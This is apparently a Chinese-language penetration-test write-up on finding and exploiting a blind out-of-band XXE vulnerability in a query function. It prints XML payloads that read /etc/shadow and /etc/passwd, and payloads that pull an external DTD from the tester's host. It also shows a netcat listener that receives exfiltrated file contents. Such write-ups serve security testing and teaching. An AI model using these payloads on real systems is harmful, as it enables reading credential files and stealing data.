0x01背景:
kaiputenku大佬最近在挖洞的時候偶遇一枚XXE漏洞,身經百戰的他經過一番愛恨糾纏,終將她順利拿下~
0x02糾纏一番只爲她-Blind OOB XXE:
在測試某系統的某查詢功能模塊如下:
-
查詢模塊.jpg(請各位大佬自行腦補)
-
下面即將開始kaiputenku的表演:
首先使用burp抓包,發現提交xml形式的數據包,很容易想到可能存在XML外部實體注入
嘗試構造以下payload讀取/etc/shadow文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/shadow">]>
<root>&file;</root>
HTTP回顯報錯Permission denied,說明payload成功執行,證明確實存在XML外部實體注入,只是用戶權限不足讀取失敗
嘗試構造以下payload讀取/etc/passwd文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>
發現HTTP回顯正常,但是沒有我們想要的passwd文件信息,說明是Blind XXE漏洞
Blind XXE漏洞有兩種常見的利用方式,ftp讀回顯和http讀回顯
-
嘗試ftp讀回顯
測試主機ip爲10.xx.xx.31
1)在測試主機上開啓Web服務,並創建eval.dtd文件,內容如下
2)在測試主機上下載並運行xxe-ftp-server.rb,運行後會在2121端口開啓ftp服務,腳本下載地址:https://github.com/ONsec-Lab/scripts
3)構造如下payload併發起請求
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % asd SYSTEM "http://10.xx.xx.31:8080/evil.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
發現HTTP回顯Connection refused
在測試主機Web日誌中發現目標主機已經成功下載了evil.dtd文件,但是HTTP又回顯Connection refused,猜測是ftp服務的問題
直接在瀏覽器中訪問http://10.xx.xx.31:2121/,發現連接被拒絕,這裏沒搞不明白爲什麼已經開啓了ftp服務並且正在監聽[::]:2121還是拒絕連接,換了臺測試主機出現同樣的問題,花了很長時間沒有解決,猜測是內部網絡策略的問題,遂放棄,準備嘗試HTTP讀回顯的方式。
-
嘗試http讀回顯
測試主機ip爲10.xx.xx.31
1)在測試主機上開啓Web服務,並創建eval.dtd文件,內容如下
2)使用nc進行監聽,執行necat.exe -lvvp 8081,監聽8081端口
3)構造如下payload併發起請求
<!DOCTYPE convert[
<!ENTITY % remote SYSTEM "http://10.xx.x.31:8080/evil.dtd">
%remote;%int;%send;
]>
發現HTTP回顯Illegal character in URL,說明該payload成功讀取到/etc/passwd文件,嘗試將/etc/passwd拼接到URL:'http://10.xx.xx.31:8081?p=%file;',但是由於passwd文件中的數據不符合URL構造要求,所以目標主機報Illegal character in URL的錯誤
所以開始嘗試讀取較爲簡單,文本信息較少的文件,比如/etc/hostname文件,裏面只是保存了主機名,應該不會有什麼特殊字符導致URL不合法
修改測試主機中的evil.dtd文件如下:
再次請求payload,發現該請求一直處於Waiting狀態
並且發現necat.exe成功監聽到目標主機的Web請求,並且在URL中讀取到/etc/hostname文件信息,目標主機名爲gp13erxxxxxxx36
0x03總結:
以上即爲測試該漏洞的全部過程,由於處於全內網環境,尋找下載工具花了較長時間,ftp拒絕連接的坑也花費了很長時間,最後還是沒有解決--.--。但是變通使用necat監聽http請求成功讀取到了目標主機的文件信息。
當然還有很多玩法,比如內網主機、端口存活掃描,DOS等,大家自己探索~